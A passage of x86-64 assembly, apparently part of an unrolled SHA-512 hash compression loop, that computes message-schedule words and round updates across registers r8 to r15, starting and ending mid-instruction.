(24)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (48)(%rsp), %rcx mov (24)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (40)(%rsp), %rax add (112)(%rsp), %rbx add %rbx, %rax mov %rax, (40)(%rsp) add (304)(%rbp), %r9 add (48)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx ror $(14), %rcx mov %r14, %rbx push %r14 not %rdx ror $(18), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(23), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx ror $(28), %rcx mov %r10, %rbx push %r10 xor %r11, %rdx ror $(34), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(5), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (56)(%rsp), %rax mov (32)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (56)(%rsp), %rcx mov (32)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (48)(%rsp), %rax add (120)(%rsp), %rbx add %rbx, %rax mov %rax, (48)(%rsp) add (312)(%rbp), %r8 add (56)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx ror $(14), %rcx mov %r13, %rbx push %r13 not %rdx ror $(18), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(23), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx ror $(28), %rcx mov %r9, %rbx push %r9 xor %r10, %rdx ror $(34), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(5), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (64)(%rsp), %rax mov (40)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (64)(%rsp), %rcx mov (40)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (56)(%rsp), %rax add (%rsp), %rbx add %rbx, %rax mov %rax, (56)(%rsp) add (320)(%rbp), %r15 add (64)(%rsp), %r15 mov %r12, %rcx mov %r12, %rdx ror $(14), %rcx mov %r12, %rbx push %r12 not %rdx ror $(18), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(23), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx ror $(28), %rcx mov %r8, %rbx push %r8 xor %r9, %rdx ror $(34), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(5), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (72)(%rsp), %rax mov (48)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (72)(%rsp), %rcx mov (48)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (64)(%rsp), %rax add (8)(%rsp), %rbx add %rbx, %rax mov %rax, (64)(%rsp) add (328)(%rbp), %r14 add (72)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx ror $(14), %rcx mov %r11, %rbx push %r11 not %rdx ror $(18), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(23), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx ror $(28), %rcx mov %r15, %rbx push %r15 xor %r8, %rdx ror $(34), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(5), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (80)(%rsp), %rax mov (56)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (80)(%rsp), %rcx mov (56)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (72)(%rsp), %rax add (16)(%rsp), %rbx add %rbx, %rax mov %rax, (72)(%rsp) add (336)(%rbp), %r13 add (80)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx ror $(14), %rcx mov %r10, %rbx push %r10 not %rdx ror $(18), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(23), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx ror $(28), %rcx mov %r14, %rbx push %r14 xor %r15, %rdx ror $(34), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(5), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (88)(%rsp), %rax mov (64)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (88)(%rsp), %rcx mov (64)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (80)(%rsp), %rax add (24)(%rsp), %rbx add %rbx, %rax mov %rax, (80)(%rsp) add (344)(%rbp), %r12 add (88)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx ror $(14), %rcx mov %r9, %rbx push %r9 not %rdx ror $(18), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(23), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx ror $(28), %rcx mov %r13, %rbx push %r13 xor %r14, %rdx ror $(34), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(5), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (96)(%rsp), %rax mov (72)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (96)(%rsp), %rcx mov (72)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (88)(%rsp), %rax add (32)(%rsp), %rbx add %rbx, %rax mov %rax, (88)(%rsp) add (352)(%rbp), %r11 add (96)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx ror $(14), %rcx mov %r8, %rbx push %r8 not %rdx ror $(18), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(23), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx ror $(28), %rcx mov %r12, %rbx push %r12 xor %r13, %rdx ror $(34), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(5), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (104)(%rsp), %rax mov (80)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (104)(%rsp), %rcx mov (80)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (96)(%rsp), %rax add (40)(%rsp), %rbx add %rbx, %rax mov %rax, (96)(%rsp) add (360)(%rbp), %r10 add (104)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx ror $(14), %rcx mov %r15, %rbx push %r15 not %rdx ror $(18), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(23), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx ror $(28), %rcx mov %r11, %rbx push %r11 xor %r12, %rdx ror $(34), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(5), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (112)(%rsp), %rax mov (88)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (112)(%rsp), %rcx mov (88)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (104)(%rsp), %rax add (48)(%rsp), %rbx add %rbx, %rax mov %rax, (104)(%rsp) add (368)(%rbp), %r9 add (112)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx ror $(14), %rcx mov %r14, %rbx push %r14 not %rdx ror $(18), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(23), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx ror $(28), %rcx mov %r10, %rbx push %r10 xor %r11, %rdx ror $(34), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(5), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (120)(%rsp), %rax mov (96)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (120)(%rsp), %rcx mov (96)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (112)(%rsp), %rax add (56)(%rsp), %rbx add %rbx, %rax mov %rax, (112)(%rsp) add (376)(%rbp), %r8 add (120)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx ror $(14), %rcx mov %r13, %rbx push %r13 not %rdx ror $(18), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(23), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx ror $(28), %rcx mov %r9, %rbx push %r9 xor %r10, %rdx ror $(34), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(5), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (%rsp), %rax mov (104)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (%rsp), %rcx mov (104)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (120)(%rsp), %rax add (64)(%rsp), %rbx add %rbx, %rax mov %rax, (120)(%rsp) add (384)(%rbp), %r15 add (%rsp), %r15 mov %r12, %rcx mov %r12, %rdx ror $(14), %rcx mov %r12, %rbx push %r12 not %rdx ror $(18), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(23), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx ror $(28), %rcx mov %r8, %rbx push %r8 xor %r9, %rdx ror $(34), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(5), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (8)(%rsp), %rax mov (112)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (8)(%rsp), %rcx mov (112)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (%rsp), %rax add (72)(%rsp), %rbx add %rbx, %rax mov %rax, (%rsp) add (392)(%rbp), %r14 add (8)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx ror $(14), %rcx mov %r11, %rbx push %r11 not %rdx ror $(18), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(23), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx ror $(28), %rcx mov %r15, %rbx push %r15 xor %r8, %rdx ror $(34), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(5), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (16)(%rsp), %rax mov (120)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (16)(%rsp), %rcx mov (120)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (8)(%rsp), %rax add (80)(%rsp), %rbx add %rbx, %rax mov %rax, (8)(%rsp) add (400)(%rbp), %r13 add (16)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx ror $(14), %rcx mov %r10, %rbx push %r10 not %rdx ror $(18), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(23), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx ror $(28), %rcx mov %r14, %rbx push %r14 xor %r15, %rdx ror $(34), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(5), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (24)(%rsp), %rax mov (%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (24)(%rsp), %rcx mov (%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (16)(%rsp), %rax add (88)(%rsp), %rbx add %rbx, %rax mov %rax, (16)(%rsp) add (408)(%rbp), %r12 add (24)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx ror $(14), %rcx mov %r9, %rbx push %r9 not %rdx ror $(18), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(23), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx ror $(28), %rcx mov %r13, %rbx push %r13 xor %r14, %rdx ror $(34), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(5), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (32)(%rsp), %rax mov (8)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (32)(%rsp), %rcx mov (8)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (24)(%rsp), %rax add (96)(%rsp), %rbx add %rbx, %rax mov %rax, (24)(%rsp) add (416)(%rbp), %r11 add (32)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx ror $(14), %rcx mov %r8, %rbx push %r8 not %rdx ror $(18), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(23), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx ror $(28), %rcx mov %r12, %rbx push %r12 xor %r13, %rdx ror $(34), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(5), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (40)(%rsp), %rax mov (16)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (40)(%rsp), %rcx mov (16)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (32)(%rsp), %rax add (104)(%rsp), %rbx add %rbx, %rax mov %rax, (32)(%rsp) add (424)(%rbp), %r10 add (40)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx ror $(14), %rcx mov %r15, %rbx push %r15 not %rdx ror $(18), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(23), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx ror $(28), %rcx mov %r11, %rbx push %r11 xor %r12, %rdx ror $(34), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(5), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (48)(%rsp), %rax mov (24)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (48)(%rsp), %rcx mov (24)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (40)(%rsp), %rax add (112)(%rsp), %rbx add %rbx, %rax mov %rax, (40)(%rsp) add (432)(%rbp), %r9 add (48)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx ror $(14), %rcx mov %r14, %rbx push %r14 not %rdx ror $(18), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(23), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx ror $(28), %rcx mov %r10, %rbx push %r10 xor %r11, %rdx ror $(34), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(5), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (56)(%rsp), %rax mov (32)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (56)(%rsp), %rcx mov (32)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (48)(%rsp), %rax add (120)(%rsp), %rbx add %rbx, %rax mov %rax, (48)(%rsp) add (440)(%rbp), %r8 add (56)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx ror $(14), %rcx mov %r13, %rbx push %r13 not %rdx ror $(18), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(23), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx ror $(28), %rcx mov %r9, %rbx push %r9 xor %r10, %rdx ror $(34), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(5), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (64)(%rsp), %rax mov (40)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (64)(%rsp), %rcx mov (40)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (56)(%rsp), %rax add (%rsp), %rbx add %rbx, %rax mov %rax, (56)(%rsp) add (448)(%rbp), %r15 add (64)(%rsp), %r15 mov %r12, %rcx mov %r12, %rdx ror $(14), %rcx mov %r12, %rbx push %r12 not %rdx ror $(18), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(23), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx ror $(28), %rcx mov %r8, %rbx push %r8 xor %r9, %rdx ror $(34), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(5), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (72)(%rsp), %rax mov (48)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (72)(%rsp), %rcx mov (48)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (64)(%rsp), %rax add (8)(%rsp), %rbx add %rbx, %rax mov %rax, (64)(%rsp) add (456)(%rbp), %r14 add (72)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx ror $(14), %rcx mov %r11, %rbx push %r11 not %rdx ror $(18), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(23), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx ror $(28), %rcx mov %r15, %rbx push %r15 xor %r8, %rdx ror $(34), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(5), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (80)(%rsp), %rax mov (56)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (80)(%rsp), %rcx mov (56)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (72)(%rsp), %rax add (16)(%rsp), %rbx add %rbx, %rax mov %rax, (72)(%rsp) add (464)(%rbp), %r13 add (80)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx ror $(14), %rcx mov %r10, %rbx push %r10 not %rdx ror $(18), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(23), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx ror $(28), %rcx mov %r14, %rbx push %r14 xor %r15, %rdx ror $(34), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(5), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (88)(%rsp), %rax mov (64)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (88)(%rsp), %rcx mov (64)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (80)(%rsp), %rax add (24)(%rsp), %rbx add %rbx, %rax mov %rax, (80)(%rsp) add (472)(%rbp), %r12 add (88)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx ror $(14), %rcx mov %r9, %rbx push %r9 not %rdx ror $(18), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(23), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx ror $(28), %rcx mov %r13, %rbx push %r13 xor %r14, %rdx ror $(34), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(5), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (96)(%rsp), %rax mov (72)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (96)(%rsp), %rcx mov (72)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (88)(%rsp), %rax add (32)(%rsp), %rbx add %rbx, %rax mov %rax, (88)(%rsp) add (480)(%rbp), %r11 add (96)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx ror $(14), %rcx mov %r8, %rbx push %r8 not %rdx ror $(18), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(23), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx ror $(28), %rcx mov %r12, %rbx push %r12 xor %r13, %rdx ror $(34), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(5), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (104)(%rsp), %rax mov (80)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (104)(%rsp), %rcx mov (80)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (96)(%rsp), %rax add (40)(%rsp), %rbx add %rbx, %rax mov %rax, (96)(%rsp) add (488)(%rbp), %r10 add (104)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx ror $(14), %rcx mov %r15, %rbx push %r15 not %rdx ror $(18), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(23), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx ror $(28), %rcx mov %r11, %rbx push %r11 xor %r12, %rdx ror $(34), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(5), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (112)(%rsp), %rax mov (88)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (112)(%rsp), %rcx mov (88)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (104)(%rsp), %rax add (48)(%rsp), %rbx add %rbx, %rax mov %rax, (104)(%rsp) add (496)(%rbp), %r9 add (112)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx ror $(14), %rcx mov %r14, %rbx push %r14 not %rdx ror $(18), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(23), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx ror $(28), %rcx mov %r10, %rbx push %r10 xor %r11, %rdx ror $(34), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(5), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (120)(%rsp), %rax mov (96)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (120)(%rsp), %rcx mov (96)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (112)(%rsp), %rax add (56)(%rsp), %rbx add %rbx, %rax mov %rax, (112)(%rsp) add (504)(%rbp), %r8 add (120)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx ror $(14), %rcx mov %r13, %rbx push %r13 not %rdx ror $(18), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(23), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx ror $(28), %rcx mov %r9, %rbx push %r9 xor %r10, %rdx ror $(34), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(5), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (%rsp), %rax mov (104)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (%rsp), %rcx mov (104)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (120)(%rsp), %rax add (64)(%rsp), %rbx add %rbx, %rax mov %rax, (120)(%rsp) add (512)(%rbp), %r15 add (%rsp), %r15 mov %r12, %rcx mov %r12, %rdx ror $(14), %rcx mov %r12, %rbx push %r12 not %rdx ror $(18), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(23), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx ror $(28), %rcx mov %r8, %rbx push %r8 xor %r9, %rdx ror $(34), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(5), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 add (520)(%rbp), 